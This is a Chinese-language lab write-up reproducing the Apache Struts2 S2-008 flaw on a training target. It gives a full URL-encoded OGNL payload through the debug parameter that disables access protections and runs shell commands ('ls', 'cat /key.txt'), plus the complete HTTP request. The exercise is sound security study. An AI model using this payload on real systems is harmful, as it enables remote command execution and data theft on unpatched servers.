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文章目录

前言一、漏洞原理2.复现

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前言

记录并复现相关struts漏洞,加深理解

一、漏洞原理

主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码，传入?debug=command&expression=即可执行OGNL表达式

2.复现

访问墨者学院strut2-008靶机

构造poc，执行命令ls，查看文件。 ?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

可看到 成功执行ls命令 接下来 cat /key.txt获取key 贴上能获取key的请求包

GET /s2_008?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22cat%20/key.txt%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close() HTTP/1.1 Host: 219.153.49.228:46460 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=FE54FAC27E816672A1C72E0A272BF7BE Upgrade-Insecure-Requests: 1

获取到了key(在这里要注意 命令不能用url编码,要不会显示null)

这里用了网上的扫描工具测试,未发现该漏洞,看来工具也不是万能的